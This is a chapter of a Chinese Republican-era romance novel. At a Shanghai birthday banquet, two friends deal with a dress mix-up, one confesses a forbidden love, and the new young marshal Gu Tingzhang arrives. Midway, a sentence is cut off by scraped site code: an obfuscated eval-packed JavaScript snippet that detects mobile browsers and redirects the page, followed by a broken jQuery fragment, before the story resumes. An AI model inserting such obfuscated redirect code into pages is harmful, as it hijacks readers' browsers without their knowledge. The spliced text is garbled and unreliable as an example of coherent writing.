即便贺夫人是为了孙黎菲,却也顺带解了她的围,方琬音顿时感觉四肢都轻松了许多,她还以为,贺夫人会斥责她心机呢,竟然故意穿和孙黎菲一样的衣服赴贺家的寿宴,实在是登不上大雅之堂。
刚刚贺夫人走过来的时候,她旁边的杜夫人正用一种不屑的眼神看着方琬音,好像穿了和孙黎菲一样的衣服是犯了什么滔天大罪一样,这些,都被方琬音尽收眼底。
喻怀嘉歉意道:“琬音,抱歉啊,说实话,我刚一看见你的时候,就觉得你身上的裙子有点眼熟,我现在想起来了,我来的时候在门口跟她打过一个照面,她穿的就是这身衣服。”喻怀嘉越说声音越小,最后的尾音几乎听不见了。
“没事,怀嘉,你说什么呢,裙子现在在我身上穿着,这跟你一点关系都没有。”
该感到抱歉的是她,她今日堂而皇之地与孙黎菲撞衫了,喻怀嘉又与她交好,她怕连累了众人对怀嘉的印象。不过喻怀嘉当然不会在意这些。
“不过这很奇怪啊,怎么你们刚好就穿了同一件衣服,出现在了同一个场合里呢。”喻怀嘉忽然作惊讶状,捂住了自己嘴巴,转头看她:“琬音,该不会是有人要害你吧?”
“……”方琬音无语:“怀嘉,你该不会是小人书看多了吧。”阴谋论属她在行。
方琬音垂眸:“不过我也觉得这件事很奇怪,到现在我都不知道是怎么一回事,前几天我跟我母亲一起去的洋衣店,她相中了这条裙子,但当时由于是其他买主定制的衣服,她没买成,结果我今天回家的时候,发现这衣服已经在她手上了。”
“哎,算了,我们不想这事了,开心点,不就是撞衣裳了嘛,谁撑不起来谁尴尬喽,说实话,我觉得她今天戴的那副黑手套太丑了,简直是画蛇添足,多大点事,我们去吃点心。”
方琬音是北方长大的女孩,比孙黎菲高了四公分,她的身形也是刚刚好,目前来看,的确是方琬音更能撑起这条裙子,孙黎菲只想着讨好贺均麟,根本没去管这件衣裳与自己的适配度,硬穿也要穿。
喻怀嘉拉着方琬音去了大厅的长条桌那里,上面琳琅满目,摆满了各式各样的吃食和饮料。
喻怀嘉从树状的玻璃小圆台上拿下了一碟点心,递到方琬音跟前:“琬音,你尝尝,这个东西叫马卡龙,一种法国的甜品,很好吃呢。”
方琬音捏住那个又像饼干又像蛋糕的东西,放进嘴里咬了一小口,开始咀嚼,有些甜腻,她吃不惯。
不过为了不扫好朋友的兴致,她还是说了好吃。
边吃着,她才终于有机会环视贺家的大厅,今天来贺寿的人正经很多呢。
长辈们聚在一起谈笑风生,一些年轻人们此时聚在小沙发那边有说有笑,今晚的主角贺老先生却不见踪影。
不过,有些人是拿贺寿当个名目,过来结交各路人脉的,毕竟今天到场的大部分人,都是非富即贵,大家都在同一个圈子里,你厉害,那么与你打交道的人就厉害。
大概是贺老先生也知道过寿不过是个由头,他又不喜热闹,这才迟迟待在楼上不肯下来,留给自己儿子足够的时间谈生意。
贺存远此时就坐在那最大的沙发上,众人环绕,觥筹交错,应该是在谈生意上的事情,他旁边有个跟他看起来一边大的老先生,正弓着身子,为他敬酒。
再定睛一看,那位老先生不是别人,正是贺存远的二哥,贺求远。
方琬音还是贺均麟未婚妻的时候,曾经在贺家见过他一面,不会认错的,此时的她更多的是错愕,身为兄长,竟然也要如此卑躬屈膝吗,他似乎是在求贺存远什么。
陈太太的女儿这时与自己的小姐妹也来到了长条桌这边吃东西,她们正一边吃一边聊着天。
方琬音此时就在她们斜对面,故而可以清晰地听见她们谈话的内容。
她旁边的那个女孩八卦道:“你知不知道,今晚还会有一个贵客来呢。”
“这早就不是什么新鲜事了,我知道我知道,”陈太太的女儿胸有成竹地说:“是不是那个新上任的顾司令?”
结果,旁边的女孩一笑,说:“哼哼,你的消息还是不如我灵通,我刚刚从宋笙那里打听来的消息,他哥哥就在司令部当兵,今天要来的人不是顾司令。”
“那是谁呀?”
她们的说话声越来越小,方琬音有些听不清了。
“他哥说啊,顾司令就是个光杆司令,现在的司令部,是喻督军和那个顾少帅平分兵权的,重点是……”
那个女孩顿时两眼冒星星:“听说那个顾少帅还很年轻哦,我还没见过他长什么样子呢,据说今天要代表司令部和喻督军前来为贺老先生贺寿的人就是他。”
“我说,瑶瑶,你这么打听他,你该不会真的对他犯花痴吧,咦,这种男人光是听别人说我都后背冒冷汗,你就不怕他哪天一生气拿枪指着你啊,而且他肯定是娶喻督军的女儿啊,要不然督军怎么会放权给他啊。”
那女孩耸耸肩:“我才没有呢,关键我连他长什么样都没见过,说不定年轻但是很丑呢,我就是闲着无聊所以才八卦一下嘛。”
她们说到最后,就没再注意音量了,所以方琬音能隐约听到她们谈话的内容。
顾少帅?姓顾吗?那是不是就是怀嘉说的那个……
方琬音下意识转头看向喻怀嘉,却发现她正举着笛形杯往自己嘴里灌香槟,看起来似乎不开心。
方琬音即刻上前一步,一把夺过她手上的香槟:“怀嘉,你怎么了?”
这是贺老先生的寿宴,怀嘉若是喝醉了总归不太好。
“琬音,你放心,这酒的度数很低,我不会醉的。”
“可你看起来心情不太好,你真的没关系吗?”
“琬音,我是不是天下第一大傻瓜啊。”
方琬音摇头:“怎么会呢,你是我见过最漂亮最可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516750|154639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爱的女孩了。”
“爹地都告诉我了……我竟然会爱上自己的亲哥哥,你说,是不是上天在惩罚我啊。”说罢,她打了一个酒嗝。
方琬音无疑是震惊的,她刚刚从那两个女孩嘴里听见一个八卦,又从喻怀嘉这里听见这么大的秘密,她觉得自己有些消化不良。
她还想再安慰喻怀嘉什么,却听到门口那边传来喧闹和骚动,出于好奇的本能,她也探着头望去。
她看见一位穿着似墨水般深蓝色服制的年轻男人正气凛然地阔步走进大厅,他一进来,整个贺宅的气氛好像瞬间变了,那些长辈纷纷瞧过来,年轻人聚集的地方瞬间鸦雀无声,待几秒钟后才能隐约听见几个人的窃窃私语。
他们中的很多人都知道,这位就是今晚会代表喻督军来给贺维生贺寿的顾少帅——顾廷璋。
他的身后跟着副官周麒,周麒手上还提了一个锦匣,应该是送给贺维生的贺寿礼物,两个人就这么大摇大摆的走进了贺家,一点也没有今日在场的大人物众多而露怯。
见顾廷璋来了,贺存远连忙起身,贺夫人则立在他旁边,整理了一下仪容。
贺存远自然知道今晚喻长久不来,而是让这个年轻人代替他出面,也能让众人认认脸,所以,他在此等候多时了。
贺夫人笑容灿烂:“贵人来了,我有失远迎。”
顾廷璋微笑颔首:“夫人哪的话,是晚辈姗姗来迟才是,在这里给您和贺先生赔罪了。”
贺存远附和着:“不晚,不晚,顾少帅真是精神抖擞,一表人才啊,督军真是慧眼识珠,寻到了一位最合适的接班人。”
他本来以为顾廷璋会顺理成章地成为喻长久的女婿,结果却莫名其妙地被喻长久认作义子,当真叫人捉摸不透。
虽然贺存远不明白为何喻长久会对这个毛头小子如此信任,但他面上依旧要将对方的面子给足,也许他们有些说不清道不明的关系也未可知啊,何况顾廷璋新官上任,意气风发,如今是真真切切地拥有了上海的管制权,他还要在这片土地上做生意,那么对他自要有三分敬意。
谁能想到,上个月还只是副官的顾廷璋,会在这么短的时间内,有如此翻天覆地的变化,连一直在远处坐山观虎斗的贺存远都不得不感叹,如今他是真的一朝翻身,扬眉吐气了。
顾廷璋示意身后的周麒,周麒往前上了一步,将那锦匣掀开。
顾廷璋说道:“这是督军新得的玩意,知道贺老先生喜欢墨宝,我便将它带过来了,希望贺老先生能够笑纳。”
“督军太客气了,那就请顾少帅替贺某多谢督军的美意了。”
顾廷璋再次点头:“应该的。”
贺存远接着客套:“寒舍简陋,还请顾少帅不要嫌弃,贺某也好尽地主之谊。”
只一会的功夫,顾廷璋的身边便围满了人,都是期盼认识他想和他打交道的,喻怀嘉在一旁看着,满脸写着不开心。